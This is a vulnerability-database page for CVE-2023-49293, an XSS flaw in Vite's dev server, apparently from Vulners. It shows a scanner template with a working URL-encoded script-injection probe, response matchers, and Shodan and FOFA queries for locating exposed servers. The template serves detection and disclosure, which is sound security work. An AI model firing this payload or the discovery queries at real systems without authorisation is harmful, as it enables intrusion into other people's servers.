| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Security Bulletin: IBM Guardium Data Security Center is affected by multiple vulnerabilities | 7 Mar 202515:14 | – | ibm | |
| The vulnerability of the server.transformIndexHtml() function on the local development server of the Vite application allows attackers to perform cross-site scripting attacks. | 14 Dec 202300:00 | – | bdu_fstec | |
| CVE-2023-49293 | 4 Dec 202322:07 | – | circl | |
| Vite Cross-Site Scripting Vulnerability | 4 Dec 202300:00 | – | cnnvd | |
| CVE-2023-49293 | 4 Dec 202323:03 | – | cve | |
| CVE-2023-49293 Cross-site Scripting in `server.transformIndexHtml` via URL payload in vite | 4 Dec 202323:03 | – | cvelist | |
| EUVD-2023-3168 | 3 Oct 202520:07 | – | euvd | |
| Vite XSS vulnerability in `server.transformIndexHtml` via URL payload | 5 Dec 202323:31 | – | github | |
| CVE-2023-49293 | 4 Dec 202323:15 | – | nvd | |
| CVE-2023-49293 Cross-site Scripting in `server.transformIndexHtml` via URL payload in vite | 4 Dec 202323:03 | – | osv |
id: CVE-2023-49293
info:
name: Vite dev server - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
impact: |
Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
remediation: |
Update to [email protected], [email protected], or [email protected].
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
- https://nvd.nist.gov/vuln/detail/CVE-2023-49293
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-49293
epss-score: 0.00997
epss-percentile: 0.58418
cwe-id: CWE-80
metadata:
max-request: 1
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2023,vite,xss
http:
- method: GET
path:
- "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502207c3c906e562c03b698b09e212513e34c2eb9a959ce7f532111724cdfab040271022100fcbb1770a0bcef676baf423fb678a65922bbfbb366691eebccc89d27cc97de3e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation